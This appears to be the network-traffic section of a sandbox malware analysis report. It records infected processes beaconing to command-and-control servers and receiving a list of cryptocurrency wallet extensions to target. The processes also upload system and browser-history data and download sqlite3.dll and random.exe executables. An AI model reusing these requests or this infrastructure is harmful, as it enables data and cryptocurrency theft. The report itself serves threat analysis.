Dec 20, 2024 11:12:41.377190113 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 20, 2024 11:12:41.377245903 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 20, 2024 11:12:41.377281904 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 20, 2024 11:12:41.377402067 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 20, 2024 11:12:41.377437115 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 20, 2024 11:12:41.377473116 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 20, 2024 11:12:41.385651112 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="message"fplugins------KFCAFIIDHIDGHIECGDGI--
Dec 20, 2024 11:12:41.824491978 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 20, 2024 11:12:41.845285892 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK Host: 185.215.113.206 Content-Length: 6323 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 11:12:41.845285892 CET	6323	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 20, 2024 11:12:42.907407045 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 11:12:43.240596056 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 11:12:43.677486897 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 20, 2024 11:12:43.677556038 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 20, 2024 11:12:43.681622982 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 20, 2024 11:12:43.681788921 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:44.169907093 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018430001&unit=246122658369
Dec 20, 2024 11:12:45.505312920 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49866	185.215.113.16	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:45.631942034 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 20, 2024 11:12:46.961186886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:46 GMT Content-Type: application/octet-stream Content-Length: 2849792 Last-Modified: Fri, 20 Dec 2024 09:11:33 GMT Connection: keep-alive ETag: "676534c5-2b7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 90 6b 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,k,`Ui`D @ @ @.rsrcD``@.idata f@tgicfqwk+*h@wuawsnkw +V+@.taggant@+"Z+@
Dec 20, 2024 11:12:46.961215973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961231947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961354971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961370945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961385965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961410999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:46.961581945 CET	1236	IN	Data Raw: f9 e7 75 2d 5d 41 17 4d 2d 40 5d 2d 05 f1 5c 2d f3 e7 70 2d 5d 41 17 57 05 43 5d 2d e7 e1 0a 2d 5d 4c 0d 2a 5d a2 5e 2d 5d 5c 5d 2d ee e7 07 2d 5d 45 df 48 5d 5f 6b 53 f4 f1 68 72 a7 40 75 c3 f1 46 d0 44 5d 5f 6b bb 0b 5f 5d bd 04 f6 5c 2d f3 eb Data Ascii: u-]AM-@]-\-p-]AWC]--]L]^-]\]--]EH]_kShr@uFD]_k_]\-T\-n-_-\]-]sq-]Au_]W,]E)]_ww`@lxu_]W\-]L]^-]\]--]EH]_kShr@uFD]_k]_]\-T\-n-_-\]-]sq-]AT\-p-]AUj
Dec 20, 2024 11:12:46.961596966 CET	1236	IN	Data Raw: e4 41 5d 61 e6 21 6b 57 5d 2e 75 3f e6 41 5d df f2 29 76 57 5d a2 78 3f e6 41 5d 13 f4 29 76 57 5d 0a 76 3b f4 45 5d d7 f2 93 6b 57 5d f1 6b 53 5d 41 5d 28 e6 29 76 57 5d be 75 3f e6 41 5d 31 e7 29 76 57 5d 6a 6b 3f e6 41 5d 95 e8 16 75 57 5d a3 Data Ascii: A]a!kW].u?A])vW]x?A])vW]v;E]kW]kS]A]()vW]u?A]1)vW]jk?A]uW]v?A]KE]W]vS]A]E]W]_r?_]-]\-]_],]^]-^O]sk\^],]_^]]x7],]]]-]O]t\]]]\^-]hv-]^V]\^_]'_]\J]Y]\^-]?w-]^Z]\^_]_]\\Y]\^-]xt-]^K]\^_]_]
Dec 20, 2024 11:12:46.961613894 CET	1236	IN	Data Raw: 5d d6 5e f6 f2 4f 5d ac 5c 60 6b 57 5d 76 5e f6 f2 f5 5c 14 5e 60 6b 57 5d c6 5e f6 f2 41 5d f4 5d 60 6b 2c 5d 36 5e 7c e5 e6 5c 04 5e e4 6b 71 5c 3e 5e 67 e5 ed 5c fc 5d e3 6a 6c 5c 6e 5e d9 e9 00 5d 34 5e e4 6b 92 5c 6e 5e 51 ea 0e 5d 3c 5e 8e Data Ascii: ]^O]\`kW]v^\^`kW]^A]]`k,]6^\|\^kq\>^g\]jl\n^]4^k\n^Q]<^w\^R^]Yl\^)^]Tu\F^HA]\`kW]F]U]^T]K]\F]]]^T]\\F]E]z^T]\\F]I]`^T]\\F]q\k^T]\]F]e\}^T]]]F]m\^T]]]F]\^T]]]F]\^T]^]F]\^T]^]F]
Dec 20, 2024 11:12:47.081621885 CET	1236	IN	Data Raw: b1 08 31 94 a6 b6 bd 6a af 08 c1 8d ab 08 2f 97 a5 00 5d 9a a9 0d c7 93 ab 02 c0 9b b9 02 c3 83 bf 1c 30 9f a6 06 38 2d bc 1c c0 9f 1d 09 1e 96 a9 0d c0 a0 af 1c 2c 2d bc 02 c3 86 a5 1c 32 8e a9 0d c3 9d ba b8 31 9b a5 b3 2b 6a 1d 0b 5d 9a a9 0d Data Ascii: 1j/]08-,-21+j]00)-2222i00\2400\50_+j]/27\2467,24]k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49904	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:54.716485023 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018431001&unit=246122658369
Dec 20, 2024 11:12:56.047554970 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49905	185.215.113.206	80	7808	C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:55.084384918 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHI Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 11:12:55.084404945 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 Data Ascii: ------HCFCFHJDBKJKEBFHJEHIContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------HCFCFHJDBKJKEBFHJEHIContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 20, 2024 11:12:57.023888111 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 11:12:57.180957079 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 